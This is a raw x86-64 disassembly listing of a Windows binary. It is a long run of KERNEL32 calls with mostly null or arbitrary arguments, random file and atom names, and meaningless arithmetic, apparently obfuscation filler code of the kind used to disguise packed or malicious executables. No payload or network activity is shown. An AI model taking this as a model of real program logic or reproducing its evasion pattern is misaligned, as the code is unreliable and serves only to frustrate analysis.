mov qword [rsp + 0xb970], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [rsp + 0xaf68]
mov rax, qword [rax]
mov qword [rsp + 0xb978], rax
lea rcx, [rsp + 0x9dc8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x1fc80]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4f68], eax
lea rcx, [rsp + 0xa388]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xabe0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ae]
shl eax, cl
mov byte [rsp + 0x2dc], al
lea rdx, [rsp + 0x8ee8]
mov rcx, qword [rsp + 0xa4e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4dfc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xaa70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4eb0]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x14024f0d8]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0xd47
mov r9d, 0x23e
mov r8d, 0x2255
mov edx, 0x31b8
mov rcx, qword [rsp + 0xb580]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4bdc], eax
mov rax, qword [rsp + 0xb710]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf2c]
sar eax, cl
mov word [rsp + 0x8d4], ax
lea rcx, [rsp + 0x95d0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3c7
mov r9d, 0x3ab8
mov r8d, 0x1c95b00a
mov edx, 1
mov rcx, qword [rsp + 0xb920]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4f6c], eax
mov edx, 0x244b
mov rcx, qword [rsp + 0x9b98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4998], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x3fb1
mov r8d, 0x572
mov edx, 0xce
mov rcx, qword [rsp + 0xaf70]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4d60], eax
mov dword [rsp + 0x223e0], 0x11c
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
lea rcx, [rsp + 0xa090]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa748], rax
mov rax, qword [rsp + 0x9670]
mov rcx, qword [0x14024f3c0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb5b8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9868]
mov rax, qword [rax]
mov qword [rsp + 0xb980], rax
mov rax, qword [rsp + 0xacc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa568]
movsx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x9e50]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x2ef8
mov r9d, 0xfb2
mov r8d, 0x224d
mov edx, 0x3b60
mov rcx, qword [rsp + 0xb1f0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4cb4], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x97a0], rax
mov rcx, qword [rsp + 0xab70]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x93e0]
mov ecx, dword [rsp + 0x42d4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaea8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
lea r8, [rsp + 0x9810]
mov rdx, qword [rsp + 0xa4c0]
mov rcx, qword [rsp + 0xa068]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4e30], eax
mov rax, qword [rsp + 0xa0b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd38]
sub eax, ecx
mov word [rsp + 0xc3c], ax
mov rax, qword [rsp + 0xb288]
mov ecx, dword [rsp + 0x49c4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4c64], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb988], rax
movzx ecx, word [rsp + 0x13e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10ec], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea rax, [0x14024f300]
mov qword [rsp + 0xb990], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb550], rax
lea rax, [rsp + 0x56]
mov qword [0x14024f078], rax
mov rax, qword [rsp + 0xb380]
mov rcx, qword [rsp + 0xb828]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb1d0]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x14024f3c0]
mov rcx, qword [rsp + 0xb490]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7dd8], rax
mov rax, qword [rsp + 0xad70]
movzx eax, byte [rax]
mov byte [rsp + 0x2df], al
lea rcx, [rsp + 0x1a498]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x1204]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1018], ax
movsx eax, word [rsp + 0x1084]
mov rcx, qword [rsp + 0x9c78]
movsx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x9a60]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb998], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rcx, qword [rsp + 0x9710]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0xa358]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x4190]
mov qword [rsp + 0xb9a0], rax
mov rcx, qword [rsp + 0xb258]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4f70], eax
mov rax, qword [rsp + 0xb8e0]
mov rcx, qword [rsp + 0x95f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa160]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x1274]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf18], ax
lea rdx, [rsp + 0xb9a8]
mov rcx, qword [rsp + 0xb368]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4808], eax
movsx eax, byte [rsp + 0x271]
movsx ecx, byte [rsp + 0x2a3]
sub eax, ecx
mov rcx, qword [rsp + 0xacc8]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
lea rax, [rsp + 0x4da0]
mov qword [rsp + 0xb9b0], rax
mov rax, qword [rsp + 0x9640]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9d70]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14022133b], al
movzx eax, word [rsp + 0x12f8]
movzx ecx, word [rsp + 0x5cc]
add eax, ecx
mov word [rsp + 0x13e4], ax
lea rdx, [rsp + 0xa178]
mov rcx, qword [rsp + 0xa520]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a38], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb9b8], rax
lea rax, [rsp + 0x4a0c]
mov qword [rsp + 0xb9c0], rax
mov edx, 0xd1b
mov rcx, qword [rsp + 0xb8d8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x46f0], eax
mov rax, qword [rsp + 0xafe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb308]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xfb8], ax
lea rdx, [rsp + 0xb8f8]
mov rcx, qword [rsp + 0xa1e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4f74], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x21780]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4990], eax
mov rax, qword [rsp + 0xb688]
movzx eax, word [rax]
mov word [rsp + 0x1558], ax
movzx ecx, word [rsp + 0x11d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x155c], ax
lea rdx, [rsp + 0xa9f8]
mov rcx, qword [rsp + 0xaac0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b7c], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x20b20]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4f78], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov rax, qword [rsp + 0xaba8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x275]
shl eax, cl
mov byte [rsp + 0x12b], al
mov rax, qword [rsp + 0xb900]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb158]
mov qword [rsp + 0xb9c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb9c8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4a5c], eax
lea rax, [rsp + 0x8d4]
mov qword [rsp + 0xb9d0], rax
mov eax, dword [0x14022fba4]
mov ecx, dword [rsp + 0x44c0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9588]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb620]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2e0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [0x14022133b], al
lea rcx, [rsp + 0xae10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9e10]
mov rcx, qword [rsp + 0x9af8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7960], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0x8028]
mov rcx, qword [rsp + 0x8e30]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8470], rax
mov rax, qword [rsp + 0xb318]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x84c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa4b0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xa018]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x1ac48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0xaef8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x20], 0
mov r9d, 0x1675
mov r8d, 0xdbd
mov edx, 0xb9
mov rcx, qword [rsp + 0xae18]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4704], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.BpJNIaQuWjKXPtwIe1rEvFct
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb9d8], rax
mov rax, qword [0x14024f2c0]
movzx eax, byte [rax]
mov byte [rsp + 0x2e0], al
mov rax, qword [rsp + 0xa198]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb160]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9008]
mov qword [rcx], rax
lea rax, [rsp + 0x8d0]
mov qword [rsp + 0xb9e0], rax
mov rcx, qword [rsp + 0x9070]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4d18], eax
lea rcx, [rsp + 0x1a768]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, [rsp + 0x8d50]
mov rcx, qword [rsp + 0xb5d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4f7c], eax
lea rcx, [rsp + 0x9928]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0xb900]
mov ecx, dword [0x14022fb68]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49b4], eax
mov rax, qword [rsp + 0x93d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb2b8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x271], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xae80], rax
lea rax, [rsp + 0x4a0c]
mov qword [0x14024f070], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x8e58]
movzx eax, word [rax]
movzx ecx, word [0x14022fbb0]
sub eax, ecx
mov word [rsp + 0x774], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb7c0], rax
mov r9d, 0x14ca
xor r8d, r8d
lea rdx, [rsp + 0xa660]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4dac], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ae8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.KGMHFcUhmvRtWJ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb9e8], rax
mov edx, 0x1430
mov rcx, qword [rsp + 0xb378]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4eb4], eax
movzx ecx, word [rsp + 0x118c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1560], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0xa618]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1308]
and eax, ecx
mov word [rsp + 0x1088], ax
lea rcx, [rsp + 0xa230]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0xa028]
movzx eax, byte [rax]
mov byte [rsp + 0x2e1], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov edx, 0x1dc6
mov rcx, qword [rsp + 0xb0d8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4700], eax
mov rax, qword [rsp + 0xa540]
mov rcx, qword [rsp + 0xa9d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9fc8]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x9658]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb440]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb248]
mov byte [rcx], al
lea rcx, [rsp + 0xb040]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xab10]
movzx eax, word [rax]
mov word [rsp + 0x1564], ax
mov rcx, qword [rsp + 0x9e60]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0xab28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x96a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14022fb5c]
sar eax, cl
mov dword [rsp + 0x4a24], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x1fc80]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4afc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.KycOt2c3prI04F
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb9f0], rax
mov rcx, qword [rsp + 0x98c8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov r9d, 1
lea r8, [rsp + 0xa420]
mov rdx, qword [rsp + 0x9a78]
mov rcx, qword [rsp + 0x9c68]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4f0c], eax
lea rcx, str.AqCY
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1568], ax
movzx ecx, word [rsp + 0x1394]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1324], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb9f8], rax
mov rax, qword [rsp + 0xb080]
mov rcx, qword [rsp + 0xb1b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7a18], rax
mov rax, qword [rsp + 0xb7d8]
mov eax, dword [rax]
mov dword [0x14024f068], eax
mov rax, qword [rsp + 0x9660]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x150c]
or eax, ecx
mov word [rsp + 0xff0], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xab48], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
lea rcx, [rsp + 0xa918]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xb428]
movzx eax, byte [rax]
mov byte [rsp + 0x2e2], al
mov rax, qword [rsp + 0xa3f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa3d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb848], rax
mov rax, qword [rsp + 0x9838]
mov rcx, qword [rsp + 0xaa10]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9e10]
mov qword [rcx], rax
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0xba00], rax
mov rax, qword [rsp + 0xa740]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa550]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xaf4], ax
mov r9d, 2
lea r8, [rsp + 0xac58]
mov rdx, qword [rsp + 0xa090]
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4f80], eax
movzx ecx, word [rsp + 0x1424]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10ac], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xac68], rax
mov rax, qword [rsp + 0xb5c0]
mov ecx, dword [rsp + 0x4878]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4564], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.yuFjiFkAdVUd8oP4A2_ajHxaeN4Uxtmy4U
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xba08], rax
mov rcx, qword [rsp + 0xa1e0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov r9d, 1
lea r8, [rsp + 0xa0d0]
mov rdx, qword [rsp + 0x9908]
mov rcx, qword [rsp + 0x9bb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4f80], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb4b8]
mov ecx, dword [rsp + 0x4800]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ef4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0xab40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb990]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14022fb6c], ax
mov rcx, qword [rsp + 0x9a80]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rdx, [rsp + 0xab80]
mov rcx, qword [rsp + 0xa1b8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4f84], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, [rsp + 0x1a6d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x2dc]
movzx ecx, byte [rsp + 0x28e]
add eax, ecx
mov byte [rsp + 0x11c], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
movzx ecx, word [rsp + 0x1058]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11ac], ax
mov r9d, 1
lea r8, [rsp + 0xa5d0]
mov rdx, qword [rsp + 0xa490]
mov rcx, qword [rsp + 0xb3d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4f88], eax
lea rcx, str.WVO0Kpuu
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x10d4], ax
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
mov qword [rsp + 0xba10], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0xab08]
mov rax, qword [rax]
mov rcx, qword [0x14024f3c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7d18], rax
lea rax, [rsp + 0x4f20]
mov qword [rsp + 0xba18], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rdx, [rsp + 0xb340]
mov rcx, qword [rsp + 0x9b00]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4f8c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xd77
mov r9d, 0x16ba
mov r8d, 0xd0e5c59b
mov edx, 1
mov rcx, qword [rsp + 0xac00]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4efc], eax
lea rcx, str.mNdQrLT1nZa_KObo69IF
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x156c], ax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x1f920]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x47a0], eax
movsx eax, word [rsp + 0x898]
mov rcx, qword [rsp + 0xa9f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc08], ax
movsx eax, byte [rsp + 0x216]
mov rcx, qword [rsp + 0xb668]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb618]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0xadc0]
mov eax, dword [rax]
mov dword [rsp + 0x4f90], eax
mov r9d, 2
lea r8, [rsp + 0xa118]
mov rdx, qword [rsp + 0xa5d0]
mov rcx, qword [rsp + 0xa528]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4f94], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0xb6d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x29d]
imul eax, ecx
mov byte [rsp + 0x298], al
movzx eax, word [rsp + 0x1030]
movzx ecx, word [rsp + 0xf0c]
shl eax, cl
mov word [0x14022fbd8], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xba20], rax
mov rax, qword [rsp + 0x82f8]
movzx ecx, al
mov rax, qword [rsp + 0x8240]
sar rax, cl
mov qword [rsp + 0x7a98], rax
mov rax, qword [rsp + 0xa1c8]
mov rcx, qword [rsp + 0x9c88]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9208], rax
movzx ecx, word [rsp + 0x1310]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1350], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0xa858]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xab18]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0xb3e0]
mov word [rcx], ax
lea rcx, str.RZFY_3BwlaqEv_Y2UiJ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1570], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov dword [rsp + 0x20], 0x1a14
mov r9d, 0x26cf
mov r8d, 0x2cff
mov edx, 0x3f2f
mov rcx, qword [rsp + 0xb700]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x49a0], eax
movzx ecx, word [rsp + 0xfbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1574], ax
mov rcx, qword [rsp + 0xa660]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa320]
movzx eax, byte [rax]
mov byte [rsp + 0x2e3], al
lea rdx, [rsp + 0x9b08]
mov rcx, qword [rsp + 0xa8b8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4cac], eax
mov rax, qword [rsp + 0x9d40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x273]
or eax, ecx
mov byte [rsp + 0x18b], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0xe6c]
movsx ecx, word [rsp + 0x1398]
add eax, ecx
mov word [rsp + 0xb38], ax
mov rax, qword [rsp + 0xa638]
mov rcx, qword [rsp + 0xae58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3dd0], eax
movzx ecx, word [rsp + 0x11bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13e8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
movzx ecx, word [rsp + 0xfcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1578], ax
mov rcx, qword [rsp + 0x9bc0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4bf8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x1ac78]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
